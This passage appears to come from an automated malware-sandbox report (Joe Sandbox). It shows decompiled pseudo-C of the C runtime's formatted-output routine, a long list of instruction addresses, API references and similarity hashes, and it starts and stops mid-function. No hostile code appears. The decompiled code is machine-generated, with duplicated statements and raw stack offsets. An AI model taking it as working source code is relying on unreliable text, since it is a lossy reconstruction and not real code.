																	goto L27;
																case 0xa:
																	L23:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																	goto L27;
																case 0xb:
																	L22:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																	goto L27;
																case 0xc:
																	L26:
																	__eax =  *(__ebp - 0x10);
																	__eax =  *(__ebp - 0x10) | 0x00000008;
																	__eflags = __eax;
																	 *(__ebp - 0x10) = __eax;
																	goto L27;
																case 0xd:
																	L27:
																	goto L214;
															}
														} else {
															_t517 = 0;
															if(0 == 0) {
																 *(_t525 - 0x4dc) = 0;
															} else {
																 *(_t525 - 0x4dc) = 1;
															}
															 *(_t525 - 0x46c) =  *(_t525 - 0x4dc);
															if( *(_t525 - 0x46c) == 0) {
																_push(L"(\"Incorrect format specifier\", 0)");
																_push(0);
																_push(0x460);
																_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																_push(2);
																_t498 = L0041E390();
																_t527 = _t527 + 0x14;
																if(_t498 == 1) {
																	asm("int3");
																}
															}
															L14:
															if( *(_t525 - 0x46c) != 0) {
																goto L16;
															} else {
																 *((intOrPtr*)(L00422E80(_t510))) = 0x16;
																E00422C10(_t501, _t510, _t523, _t524, L"(\"Incorrect format specifier\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
																 *(_t525 - 0x4c8) = 0xffffffff;
																E0041AE30(_t525 - 0x40);
																_t483 =  *(_t525 - 0x4c8);
																L225:
																return E0042BCD0(_t483, _t501,  *(_t525 - 0x48) ^ _t525, _t517, _t523, _t524);
															}
														}
													}
													L215:
													__eflags =  *(_t525 - 0x45c);
													if( *(_t525 - 0x45c) == 0) {
														L218:
														 *(_t525 - 0x4f8) = 1;
														L219:
														_t517 =  *(_t525 - 0x4f8);
														 *(_t525 - 0x4bc) =  *(_t525 - 0x4f8);
														__eflags =  *(_t525 - 0x4bc);
														if( *(_t525 - 0x4bc) == 0) {
															_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
															_push(0);
															_push(0x8f5);
															_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
															_push(2);
															_t488 = L0041E390();
															_t527 = _t527 + 0x14;
															__eflags = _t488 - 1;
															if(_t488 == 1) {
																asm("int3");
															}
														}
														__eflags =  *(_t525 - 0x4bc);
														if( *(_t525 - 0x4bc) != 0) {
															 *(_t525 - 0x4d4) =  *(_t525 - 0x44c);
															E0041AE30(_t525 - 0x40);
															_t483 =  *(_t525 - 0x4d4);
														} else {
															 *((intOrPtr*)(L00422E80(_t502))) = 0x16;
															E00422C10(_t501, _t502, _t523, _t524, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
															 *(_t525 - 0x4d0) = 0xffffffff;
															E0041AE30(_t525 - 0x40);
															_t483 =  *(_t525 - 0x4d0);
														}
														goto L225;
													}
													L216:
													__eflags =  *(_t525 - 0x45c) - 7;
													if( *(_t525 - 0x45c) == 7) {
														goto L218;
													}
													L217:
													 *(_t525 - 0x4f8) = 0;
													goto L219;
												}
											}
											L184:
											__eflags =  *(__ebp - 0x24);
											if( *(__ebp - 0x24) == 0) {
												L186:
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												__eax =  *(__ebp - 4);
												 *( *(__ebp - 4)) = 0x30;
												__ecx =  *(__ebp - 0x24);
												__ecx =  *(__ebp - 0x24) + 1;
												__eflags = __ecx;
												 *(__ebp - 0x24) = __ecx;
												goto L187;
											}
											L185:
											__eax =  *(__ebp - 4);
											__ecx =  *( *(__ebp - 4));
											__eflags = __ecx - 0x30;
											if(__ecx == 0x30) {
												goto L187;
											}
											goto L186;
										}
										L180:
										__eax =  *(__ebp - 8);
										asm("cdq");
										__ecx =  *(__ebp - 0x4a4);
										__edx =  *(__ebp - 0x4a8);
										__eax = E004307A0( *(__ebp - 0x4a8),  *(__ebp - 0x4a4),  *(__ebp - 8),  *(__ebp - 0x4a8));
										 *(__ebp - 0x494) = __eax;
										__eax =  *(__ebp - 8);
										asm("cdq");
										__eax =  *(__ebp - 0x4a4);
										__ecx =  *(__ebp - 0x4a8);
										 *(__ebp - 0x4a8) = E00430820( *(__ebp - 0x4a8),  *(__ebp - 0x4a4),  *(__ebp - 8), __edx);
										 *(__ebp - 0x4a4) = __edx;
										__eflags =  *(__ebp - 0x494) - 0x39;
										if( *(__ebp - 0x494) > 0x39) {
											__edx =  *(__ebp - 0x494);
											__edx =  *(__ebp - 0x494) +  *(__ebp - 0x460);
											__eflags = __edx;
											 *(__ebp - 0x494) = __edx;
										}
										__eax =  *(__ebp - 4);
										 *( *(__ebp - 4)) =  *(__ebp - 0x494);
										 *(__ebp - 4) =  *(__ebp - 4) - 1;
										 *(__ebp - 4) =  *(__ebp - 4) - 1;
										L178:
										__ecx =  *(__ebp - 0x30);
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										__eflags =  *(__ebp - 0x30);
										if( *(__ebp - 0x30) > 0) {
											goto L180;
										}
										goto L179;
									}
								}
								L165:
								__eflags =  *(__ebp - 0x4a0);
								if( *(__ebp - 0x4a0) >= 0) {
									goto L167;
								}
								goto L166;
								L167:
								__ecx =  *(__ebp - 0x4a0);
								 *(__ebp - 0x4a8) =  *(__ebp - 0x4a0);
								__edx =  *(__ebp - 0x49c);
								 *(__ebp - 0x4a4) =  *(__ebp - 0x49c);
								goto L168;
							}
						}
					}
				}
			}

0x0043c3c6
0x0043c3c6
0x0043c3c6
0x0043c3c6
0x0043c3c6
0x0043c3c6
0x0043c3c6
0x0043c3cd
0x0043c3cd
0x0043c3cd
0x0043c3e3
0x0043c3e3
0x0043c3e3
0x0043c3ed
0x0043c3ed
0x0043c3f3
0x0043c3f5
0x0043c3fa
0x0043c404
0x0043c404
0x0043c407
0x0043c40b
0x0043c40b
0x0043c432
0x0043c432
0x0043c435
0x0043c435
0x0043c43a
0x0043c45c
0x0043c45c
0x0043c462
0x0043c484
0x0043c484
0x0043c487
0x0043c4ce
0x0043c4ce
0x0043c4d1
0x0043c4ee
0x0043c4f2
0x0043c4fa
0x0043c4fa
0x0043c4fc
0x0043c502
0x0043c4d3
0x0043c4d3
0x0043c4d7
0x0043c4df
0x0043c4e0
0x0043c4e6
0x0043c4e6
0x0043c489
0x0043c48c
0x0043c48c
0x0043c48f
0x0043c4ad
0x0043c4b9
0x0043c4bc
0x0043c4bd
0x0043c4c3
0x0043c491
0x0043c491
0x0043c495
0x0043c49d
0x0043c49e
0x0043c49f
0x0043c4a5
0x0043c4a5
0x0043c4c9
0x0043c464
0x0043c464
0x0043c470
0x0043c476
0x0043c476
0x0043c43c
0x0043c43c
0x0043c448
0x0043c44e
0x0043c44e
0x0043c50b
0x0043c50b
0x0043c50e
0x00000000
0x00000000
0x0043c510
0x0043c510
0x0043c517
0x00000000
0x00000000
0x0043c519
0x0043c519
0x0043c524
0x0043c52a
0x0043c52c
0x0043c532
0x0043c535
0x0043c537
0x0043c53d
0x0043c546
0x0043c54b
0x0043c568
0x0043c56b
0x0043c56b
0x0043c570
0x0043c575
0x0043c575
0x0043c57b
0x0043c57d
0x0043c583
0x0043c589
0x0043c589
0x0043c592
0x0043c592
0x0043c57b
0x0043c598
0x0043c59c
0x0043c5aa
0x0043c5ad
0x0043c5b0
0x0043c5b7
0x0043c5b9
0x0043c5b9
0x0043c59e
0x0043c59e
0x0043c59e
0x0043c5c6
0x0043c5c6
0x0043c5cc
0x0043c5ce
0x0043c5ce
0x0043c5d5
0x0043c5db
0x0043c5de
0x0043c5de
0x0043c5de
0x0043c5e4
0x0043c5e7
0x0043c5ea
0x0043c5ec
0x00000000
0x00000000
0x0043c5ee
0x0043c5f4
0x0043c5f4
0x0043c5fa
0x0043c677
0x0043c67d
0x0043c680
0x0043c683
0x0043c686
0x0043c689
0x0043c68f
0x0043c68f
0x0043c695
0x0043c6c0
0x0043c6c0
0x0043c6c0
0x0043c6c4
0x00000000
0x00000000
0x0043c6ca
0x0043c6cd
0x0043c6cd
0x0043c6d0
0x0043c6d5
0x0043c6d5
0x0043c6da
0x0043c6f1
0x0043c6f1
0x0043c6f4
0x0043c70b
0x0043c70b
0x0043c70e
0x0043c710
0x0043c715
0x0043c719
0x0043c719
0x0043c6f6
0x0043c6f6
0x0043c6fb
0x0043c6ff
0x0043c6ff
0x0043c6dc
0x0043c6dc
0x0043c6e1
0x0043c6e5
0x0043c6e5
0x0043c6da
0x0043c723
0x0043c726
0x0043c729
0x0043c732
0x0043c732
0x0043c735
0x0043c737
0x0043c73e
0x0043c742
0x0043c74b
0x0043c750
0x0043c753
0x0043c75a
0x0043c75e
0x0043c762
0x0043c76e
0x0043c771
0x0043c771
0x0043c774
0x0043c779
0x0043c779
0x0043c77c
0x0043c77e
0x0043c785
0x0043c789
0x0043c792
0x0043c797
0x0043c77c
0x0043c79a
0x0043c79e
0x0043c858
0x0043c858
0x0043c85f
0x0043c863
0x0043c867
0x0043c86b
0x00000000
0x0043c7a4
0x0043c7a4
0x0043c7a4
0x0043c7a8
0x00000000
0x00000000
0x0043c7ae
0x0043c7ae
0x0043c7b1
0x0043c7b7
0x0043c7ba
0x0043c7c0
0x0043c7c0
0x0043c7c0
0x0043c7cc
0x0043c7cf
0x0043c7d5
0x0043c7d7
0x00000000
0x00000000
0x0043c7d9
0x0043c7d9
0x0043c7dc
0x0043c7e2
0x0043c7ea
0x0043c7ec
0x0043c7f3
0x0043c7fa
0x0043c809
0x0043c80f
0x0043c816
0x0043c824
0x0043c824
0x0043c82b
0x0043c837
0x0043c845
0x0043c84b
0x00000000
0x0043c84b
0x0043c818
0x0043c818
0x00000000
0x0043c818
0x0043c856
0x0043c873
0x0043c873
0x0043c87a
0x0043c87f
0x0043c87f
0x0043c882
0x0043c884
0x0043c88b
0x0043c898
0x0043c89d
0x0043c882
0x0043c87a
0x0043c8a0
0x0043c8a0
0x0043c8a4
0x0043c8a8
0x0043c8ac
0x0043c8b4
0x0043c8b4
0x0043c8bb
0x0043c8bb
0x0043ba3b
0x0043ba42
0x0043ba4f
0x0043ba54
0x00000000
0x0043ba67
0x0043ba71
0x0043ba98
0x0043ba7f
0x0043ba90
0x0043ba90
0x0043ba71
0x0043baa2
0x0043baa8
0x0043bab4
0x0043bab7
0x0043bac5
0x0043bac8
0x0043bad5
0x0043bb7a
0x0043bb80
0x0043bb86
0x0043bb8d
0x00000000
0x00000000
0x0043bb93
0x0043bb99
0x00000000
0x0043bba0
0x0043bba0
0x0043bbba
0x0043bbbf
0x00000000
0x00000000
0x0043bbc7
0x0043bbc7
0x0043bbce
0x0043bbd1
0x0043bbd4
0x0043bbd7
0x0043bbda
0x0043bbdd
0x0043bbe0
0x0043bbe7
0x0043bbee
0x00000000
0x00000000
0x0043bbfa
0x0043bbfa
0x0043bc01
0x0043bc0d
0x0043bc10
0x0043bc16
0x0043bc1d
0x00000000
0x00000000
0x0043bc1f
0x0043bc25
0x0043bc25
0x0043bc2c
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bc70
0x0043bc70
0x0043bc77
0x0043bc7a
0x0043bca4
0x0043bca7
0x0043bca7
0x0043bcb1
0x0043bcb1
0x0043bcb5
0x0043bc7c
0x0043bc7c
0x0043bc88
0x0043bc8b
0x0043bc8f
0x0043bc91
0x0043bc94
0x0043bc94
0x0043bc97
0x0043bc9a
0x0043bc9d
0x0043bc9f
0x0043bc9f
0x0043bca2
0x0043bcb8
0x00000000
0x00000000
0x0043bcbd
0x0043bcbd
0x00000000
0x00000000
0x0043bcc9
0x0043bcc9
0x0043bcd0
0x0043bcd3
0x0043bcf3
0x0043bcf6
0x0043bcf6
0x0043bd00
0x0043bd00
0x0043bd04
0x0043bcd5
0x0043bcd5
0x0043bce1
0x0043bce4
0x0043bce8
0x0043bcea
0x0043bcea
0x0043bcf1
0x00000000
0x00000000
0x0043bd0c
0x0043bd0c
0x0043bd13
0x0043bd1f
0x0043bd22
0x0043bd28
0x0043bd2f
0x0043be42
0x00000000
0x0043be42
0x0043bd35
0x0043bd3b
0x0043bd3b
0x0043bd42
0x00000000
0x0043bd79
0x0043bd79
0x0043bd7c
0x0043bd7f
0x0043bd82
0x0043bda9
0x0043bda9
0x0043bdac
0x0043bdaf
0x0043bdb2
0x0043bdd6
0x0043bdd6
0x0043bdd9
0x0043bddc
0x0043bddf
0x0043be18
0x0043be29
0x00000000
0x0043be29
0x0043bde1
0x0043bde1
0x0043bde4
0x0043bde7
0x0043bdea
0x00000000
0x00000000
0x0043bdec
0x0043bdec
0x0043bdef
0x0043bdf2
0x0043bdf5
0x00000000
0x00000000
0x0043bdf7
0x0043bdf7
0x0043bdfa
0x0043bdfd
0x0043be00
0x00000000
0x00000000
0x0043be02
0x0043be02
0x0043be05
0x0043be08
0x0043be0b
0x00000000
0x00000000
0x0043be0d
0x0043be0d
0x0043be10
0x0043be13
0x0043be16
0x0043be1a
0x00000000
0x0043be1a
0x00000000
0x0043be16
0x0043bdb4
0x0043bdb4
0x0043bdb7
0x0043bdbb
0x0043bdbe
0x00000000
0x0043bdc0
0x0043bdc3
0x0043bdc6
0x0043bdcc
0x0043bdd1
0x00000000
0x0043bdd1
0x0043bdbe
0x0043bd84
0x0043bd84
0x0043bd87
0x0043bd8b
0x0043bd8e
0x00000000
0x0043bd90
0x0043bd93
0x0043bd96
0x0043bd9c
0x0043bda1
0x00000000
0x0043bda1
0x00000000
0x0043be2b
0x0043be2b
0x0043be2e
0x0043be31
0x00000000
0x00000000
0x0043bd49
0x0043bd49
0x0043bd4c
0x0043bd4f
0x0043bd52
0x0043bd6b
0x0043bd6e
0x0043bd6e
0x0043bd71
0x0043bd54
0x0043bd54
0x0043bd57
0x0043bd5a
0x0043bd60
0x0043bd66
0x0043bd66
0x00000000
0x00000000
0x0043be36
0x0043be36
0x0043be39
0x0043be39
0x0043be3f
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043be47
0x0043be47
0x0043be4e
0x0043be54
0x0043be5a
0x0043be5d
0x0043be63
0x0043be6a
0x0043c6c0
0x0043c6c0
0x0043c6c0
0x0043c6c4
0x00000000
0x00000000
0x00000000
0x0043c6c4
0x0043c6c0
0x0043be70
0x0043be76
0x0043be76
0x0043be7d
0x00000000
0x0043c201
0x0043c201
0x0043c20f
0x0043c20f
0x0043c212
0x00000000
0x00000000
0x0043be84
0x0043be87
0x0043be87
0x0043be8d
0x0043be8f
0x0043be92
0x0043be92
0x0043be95
0x0043be95
0x00000000
0x00000000
0x0043bfca
0x0043bfcd
0x0043bfcd
0x0043bfd2
0x0043bfd4
0x0043bfd7
0x0043bfd7
0x0043bfda
0x0043bfda
0x00000000
0x00000000
0x0043c3cd
0x0043c3cd
0x00000000
0x00000000
0x0043bf34
0x0043bf34
0x0043bf40
0x0043bf46
0x0043bf4d
0x0043bf5b
0x0043bf5b
0x0043bf61
0x0043bf64
0x0043bf70
0x0043bfc5
0x00000000
0x0043bfc5
0x0043bf4f
0x0043bf4f
0x0043bf55
0x0043bf59
0x0043bf78
0x0043bf78
0x0043bf7e
0x0043bfa6
0x0043bfad
0x0043bfb3
0x0043bfb6
0x0043bfb9
0x0043bfbf
0x0043bfc2
0x0043bf80
0x0043bf80
0x0043bf86
0x0043bf89
0x0043bf8c
0x0043bf92
0x0043bf95
0x0043bf98
0x0043bf9a
0x0043bf9d
0x0043bf9d
0x00000000
0x0043bf7e
0x00000000
0x00000000
0x0043c219
0x0043c21c
0x0043c21f
0x0043c222
0x0043c228
0x0043c22b
0x0043c232
0x0043c236
0x0043c241
0x0043c241
0x0043c245
0x0043c25c
0x0043c25c
0x0043c263
0x0043c265
0x0043c265
0x0043c26c
0x0043c26c
0x0043c273
0x0043c281
0x0043c284
0x0043c293
0x0043c296
0x0043c29a
0x0043c2af
0x0043c29c
0x0043c29c
0x0043c29f
0x0043c2a5
0x0043c2aa
0x0043c2aa
0x0043c29a
0x0043c2b9
0x0043c2bc
0x0043c2bf
0x0043c2c2
0x0043c2c5
0x0043c2c8
0x0043c2ce
0x0043c2d4
0x0043c2dc
0x0043c2dd
0x0043c2e0
0x0043c2e1
0x0043c2e4
0x0043c2e5
0x0043c2ec
0x0043c2ed
0x0043c2f0
0x0043c2f1
0x0043c2f4
0x0043c2f5
0x0043c2fb
0x0043c2fc
0x0043c30b
0x0043c30d
0x0043c313
0x0043c313
0x0043c318
0x0043c31a
0x0043c31e
0x0043c320
0x0043c328
0x0043c329
0x0043c32c
0x0043c32d
0x0043c33c
0x0043c33e
0x0043c33e
0x0043c31e
0x0043c341
0x0043c348
0x0043c34b
0x0043c350
0x0043c350
0x0043c356
0x0043c358
0x0043c360
0x0043c361
0x0043c364
0x0043c365
0x0043c373
0x0043c375
0x0043c375
0x0043c356
0x0043c378
0x0043c37b
0x0043c37e
0x0043c381
0x0043c386
0x0043c38b
0x0043c38e
0x0043c391
0x0043c391
0x0043c394
0x0043c394
0x0043c397
0x0043c3a3
0x0043c6c0
0x0043c6c0
0x0043c6c0
0x0043c6c4
0x00000000
0x00000000
0x00000000
0x0043c6c4
0x00000000
0x0043c6c0
0x0043c247
0x0043c247
0x0043c24e
0x0043c251
0x00000000
0x00000000
0x0043c253
0x0043c253
0x00000000
0x0043c253
0x0043c238
0x0043c238
0x00000000
0x00000000
0x0043be98
0x0043be98
0x0043bea3
0x0043beab
0x0043beb2
0x0043beb5
0x0043beb5
0x0043beb8
0x0043bf11
0x0043bf18
0x0043beba
0x0043bec1
0x0043bec7
0x0043becd
0x0043bed4
0x0043bed7
0x0043bedd
0x0043bee5
0x0043bee7
0x0043beee
0x0043bef5
0x0043befc
0x0043bf04
0x0043bf06
0x0043bf08
0x0043bf08
0x0043bf0f
0x0043bf1f
0x0043bf25
0x0043bf28
0x0043c6c0
0x0043c6c0
0x0043c6c0
0x0043c6c4
0x00000000
0x00000000
0x00000000
0x0043c6c4
0x00000000
0x0043c3ab
0x0043c3ae
0x0043c3b1
0x0043c3b4
0x00000000
0x00000000
0x0043c10a
0x0043c10a
0x0043c116
0x0043c11c
0x0043c121
0x0043c123
0x0043c1cd
0x0043c1cd
0x0043c1d0
0x0043c1d0
0x0043c1d3
0x0043c1e7
0x0043c1ed
0x0043c1f3
0x0043c1d5
0x0043c1d5
0x0043c1db
0x0043c1e2
0x0043c1e2
0x0043c1f5
0x0043c6c0
0x0043c6c0
0x0043c6c0
0x0043c6c4
0x00000000
0x00000000
0x00000000
0x0043c6c4
0x0043c6c0
0x0043c129
0x0043c129
0x0043c129
0x0043c12b
0x0043c139
0x0043c12d
0x0043c12d
0x0043c12d
0x0043c143
0x0043c149
0x0043c14f
0x0043c156
0x0043c158
0x0043c15d
0x0043c15f
0x0043c164
0x0043c169
0x0043c16b
0x0043c170
0x0043c173
0x0043c176
0x0043c178
0x0043c178
0x0043c176
0x0043c179
0x0043c180
0x0043c1c8
0x0043c6c0
0x0043c6c0
0x0043c6c0
0x0043c6c4
0x00000000
0x00000000
0x00000000
0x0043c6c4
0x0043c182
0x0043c182
0x0043c187
0x0043c1a3
0x0043c1ab
0x0043c1b5
0x0043c1b8
0x0043c1bd
0x00000000
0x0043c1bd
0x00000000
0x0043c414
0x0043c414
0x0043c41e
0x0043c41e
0x0043c424
0x0043c426
0x0043c429
0x0043c429
0x0043c42f
0x0043c42f
0x0043c432
0x0043c435
0x0043c435
0x0043c43a
0x0043c45c
0x0043c45c
0x0043c462
0x0043c484
0x0043c484
0x0043c487
0x0043c4ce
0x0043c4ce
0x0043c4d1
0x0043c4ee
0x0043c4f2
0x0043c4fa
0x0043c4fa
0x0043c4fc
0x0043c502
0x0043c4d3
0x0043c4d3
0x0043c4d7
0x0043c4df
0x0043c4e0
0x0043c4e6
0x0043c4e6
0x0043c489
0x0043c48c
0x0043c48c
0x0043c48f
0x0043c4ad
0x0043c4b9
0x0043c4bc
0x0043c4bd
0x0043c4c3
0x0043c491
0x0043c491
0x0043c495
0x0043c49d
0x0043c49e
0x0043c49f
0x0043c4a5
0x0043c4a5
0x0043c4c9
0x0043c464
0x0043c464
0x0043c470
0x0043c476
0x0043c476
0x0043c43c
0x0043c43c
0x0043c448
0x0043c44e
0x0043c44e
0x0043c50b
0x0043c50b
0x0043c50e
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bfdd
0x0043bfdd
0x0043bfe1
0x0043bfef
0x0043bff2
0x0043bfe3
0x0043bfe3
0x0043bfe3
0x0043bff8
0x0043bffe
0x0043c004
0x0043c010
0x0043c016
0x0043c016
0x0043c019
0x0043c0a1
0x0043c0a1
0x0043c0a5
0x0043c0a7
0x0043c0ad
0x0043c0ad
0x0043c0b0
0x0043c0b7
0x0043c0ba
0x0043c0c0
0x0043c0c0
0x0043c0c0
0x0043c0c6
0x0043c0cc
0x0043c0cf
0x0043c0d5
0x0043c0d7
0x00000000
0x00000000
0x0043c0d9
0x0043c0d9
0x0043c0df
0x0043c0e2
0x0043c0e4
0x00000000
0x00000000
0x0043c0e6
0x0043c0ec
0x0043c0ef
0x0043c0ef
0x0043c0f7
0x0043c0f7
0x0043c0fd
0x0043c0fd
0x0043c102
0x00000000
0x0043c01f
0x0043c01f
0x0043c01f
0x0043c023
0x0043c025
0x0043c02a
0x0043c02a
0x0043c02d
0x0043c030
0x0043c036
0x0043c048
0x0043c048
0x0043c048
0x0043c04b
0x0043c051
0x00000000
0x00000000
0x0043c053
0x0043c053
0x0043c059
0x0043c05c
0x0043c05e
0x00000000
0x00000000
0x0043c060
0x0043c060
0x0043c069
0x0043c06f
0x0043c073
0x0043c07b
0x0043c07d
0x0043c07f
0x0043c085
0x0043c085
0x0043c088
0x0043c088
0x0043c094
0x0043c097
0x0043c03f
0x0043c042
0x0043c042
0x0043c045
0x0043c045
0x0043c09f
0x0043c105
0x0043c6c0
0x0043c6c0
0x0043c6c0
0x0043c6c4
0x00000000
0x00000000
0x00000000
0x0043c6c4
0x0043c6c0
0x00000000
0x0043c3bd
0x0043c3bd
0x0043c432
0x0043c432
0x0043c435
0x0043c435
0x0043c43a
0x0043c45c
0x0043c45c
0x0043c462
0x0043c484
0x0043c484
0x0043c487
0x0043c4ce
0x0043c4ce
0x0043c4d1
0x0043c4ee
0x0043c4f2
0x0043c4fa
0x0043c4fa
0x0043c4fc
0x0043c502
0x0043c4d3
0x0043c4d3
0x0043c4d7
0x0043c4df
0x0043c4e0
0x0043c4e6
0x0043c4e6
0x0043c489
0x0043c48c
0x0043c48c
0x0043c48f
0x0043c4ad
0x0043c4b9
0x0043c4bc
0x0043c4bd
0x0043c4c3
0x0043c491
0x0043c491
0x0043c495
0x0043c49d
0x0043c49e
0x0043c49f
0x0043c4a5
0x0043c4a5
0x0043c4c9
0x0043c464
0x0043c464
0x0043c470
0x0043c476
0x0043c476
0x0043c43c
0x0043c43c
0x0043c448
0x0043c44e
0x0043c44e
0x0043c50b
0x0043c50b
0x0043c50e
0x00000000
0x00000000
0x00000000
0x0043c50e
0x00000000
0x0043c3d9
0x0043c3d9
0x0043c3e3
0x0043c3e3
0x0043c3ed
0x0043c3ed
0x0043c3f3
0x0043c3f5
0x0043c3fa
0x0043c404
0x0043c404
0x0043c407
0x0043c40b
0x0043c40b
0x0043c432
0x0043c432
0x0043c435
0x0043c435
0x0043c43a
0x0043c45c
0x0043c45c
0x0043c462
0x0043c484
0x0043c484
0x0043c487
0x0043c4ce
0x0043c4ce
0x0043c4d1
0x0043c4ee
0x0043c4f2
0x0043c4fa
0x0043c4fa
0x0043c4fc
0x0043c502
0x0043c4d3
0x0043c4d3
0x0043c4d7
0x0043c4df
0x0043c4e0
0x0043c4e6
0x0043c4e6
0x0043c489
0x0043c48c
0x0043c48c
0x0043c48f
0x0043c4ad
0x0043c4b9
0x0043c4bc
0x0043c4bd
0x0043c4c3
0x0043c491
0x0043c491
0x0043c495
0x0043c49d
0x0043c49e
0x0043c49f
0x0043c4a5
0x0043c4a5
0x0043c4c9
0x0043c464
0x0043c464
0x0043c470
0x0043c476
0x0043c476
0x0043c43c
0x0043c43c
0x0043c448
0x0043c44e
0x0043c44e
0x0043c50b
0x0043c50b
0x0043c50e
0x00000000
0x00000000
0x00000000
0x0043c50e
0x00000000
0x0043c6c0
0x0043c6c0
0x0043c6c0
0x0043c6c4
0x00000000
0x00000000
0x00000000
0x0043c6c4
0x00000000
0x00000000
0x0043bc49
0x0043bc49
0x0043bc4c
0x0043bc4f
0x00000000
0x00000000
0x0043bc54
0x0043bc57
0x0043bc5d
0x00000000
0x00000000
0x0043bc3e
0x0043bc41
0x0043bc44
0x00000000
0x00000000
0x0043bc33
0x0043bc36
0x0043bc39
0x00000000
0x00000000
0x0043bc62
0x0043bc62
0x0043bc65
0x0043bc65
0x0043bc68
0x00000000
0x00000000
0x0043bc6b
0x00000000
0x00000000
0x0043badb
0x0043badb
0x0043badd
0x0043baeb
0x0043badf
0x0043badf
0x0043badf
0x0043bafb
0x0043bb08
0x0043bb0a
0x0043bb0f
0x0043bb11
0x0043bb16
0x0043bb1b
0x0043bb1d
0x0043bb22
0x0043bb28
0x0043bb2a
0x0043bb2a
0x0043bb28
0x0043bb2b
0x0043bb32
0x00000000
0x0043bb34
0x0043bb39
0x0043bb55
0x0043bb5d
0x0043bb6a
0x0043bb6f
0x0043c984
0x0043c991
0x0043c991
0x0043bb32
0x0043bad5
0x0043c8c0
0x0043c8c0
0x0043c8c7
0x0043c8de
0x0043c8de
0x0043c8e8
0x0043c8e8
0x0043c8ee
0x0043c8f4
0x0043c8fb
0x0043c8fd
0x0043c902
0x0043c904
0x0043c909
0x0043c90e
0x0043c910
0x0043c915
0x0043c918
0x0043c91b
0x0043c91d
0x0043c91d
0x0043c91b
0x0043c91e
0x0043c925
0x0043c970
0x0043c979
0x0043c97e
0x0043c927
0x0043c92c
0x0043c948
0x0043c950
0x0043c95d
0x0043c962
0x0043c962
0x00000000
0x0043c925
0x0043c8c9
0x0043c8c9
0x0043c8d0
0x00000000
0x00000000
0x0043c8d2
0x0043c8d2
0x00000000
0x0043c8d2
0x0043c6c0
0x0043c697
0x0043c697
0x0043c69b
0x0043c6a8
0x0043c6ab
0x0043c6ae
0x0043c6b1
0x0043c6b4
0x0043c6b7
0x0043c6ba
0x0043c6ba
0x0043c6bd
0x00000000
0x0043c6bd
0x0043c69d
0x0043c69d
0x0043c6a0
0x0043c6a3
0x0043c6a6
0x00000000
0x00000000
0x00000000
0x0043c6a6
0x0043c5fc
0x0043c5fc
0x0043c5ff
0x0043c602
0x0043c609
0x0043c610
0x0043c618
0x0043c61e
0x0043c621
0x0043c624
0x0043c62b
0x0043c637
0x0043c63d
0x0043c643
0x0043c64a
0x0043c64c
0x0043c652
0x0043c652
0x0043c658
0x0043c658
0x0043c65e
0x0043c667
0x0043c66c
0x0043c66f
0x0043c5de
0x0043c5de
0x0043c5e4
0x0043c5e7
0x0043c5ea
0x0043c5ec
0x00000000
0x00000000
0x00000000
0x0043c5ec
0x0043c5de
0x0043c51b
0x0043c51b
0x0043c522
0x00000000
0x00000000
0x00000000
0x0043c550
0x0043c550
0x0043c556
0x0043c55c
0x0043c562
0x00000000
0x0043c562
0x0043c432
0x0043c3e3
0x0043c3cd

APIs

_get_int64_arg.LIBCMTD ref: 0043C440
__aullrem.LIBCMT ref: 0043C610
__aulldiv.LIBCMT ref: 0043C632

Strings

9, xrefs: 0043C643

Memory Dump Source

Source File: 00000000.00000002.664580287.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.664575684.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.664628218.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664661556.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664669500.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sbxGIUIhRd.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: a45bf9ffedb1c13bae317dfab0017e0f9bc5b40c5b13e368e178c00019d18cb5
Instruction ID: 0469d0d165efa2d4b381b09a2cf2c4d36f50e64af713c285027a9137f62f9078
Opcode Fuzzy Hash: a45bf9ffedb1c13bae317dfab0017e0f9bc5b40c5b13e368e178c00019d18cb5
Instruction Fuzzy Hash: 174119B1E10129AFDB24CF48C881BAEB7B5FF89314F10519AD149BB241D738AE81CF49

Uniqueness

Uniqueness Score: -1.00%

Function 0043C414, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E0043C414(intOrPtr __ebx, intOrPtr __edi, intOrPtr __esi) {
				signed int _t483;
				signed int _t502;
				void* _t507;
				signed int _t509;
				void* _t517;
				void* _t535;
				signed int _t539;
				signed int _t552;
				signed int _t556;
				signed short _t557;
				signed int _t560;
				signed int _t563;
				signed int _t564;
				intOrPtr _t565;
				signed int _t613;
				signed int _t621;
				signed int _t623;
				signed int _t625;
				signed int _t632;
				signed int _t636;
				signed int _t644;
				signed int _t671;
				intOrPtr _t672;
				intOrPtr _t673;
				signed int _t674;
				void* _t676;

				L0:
				while(1) {
					L0:
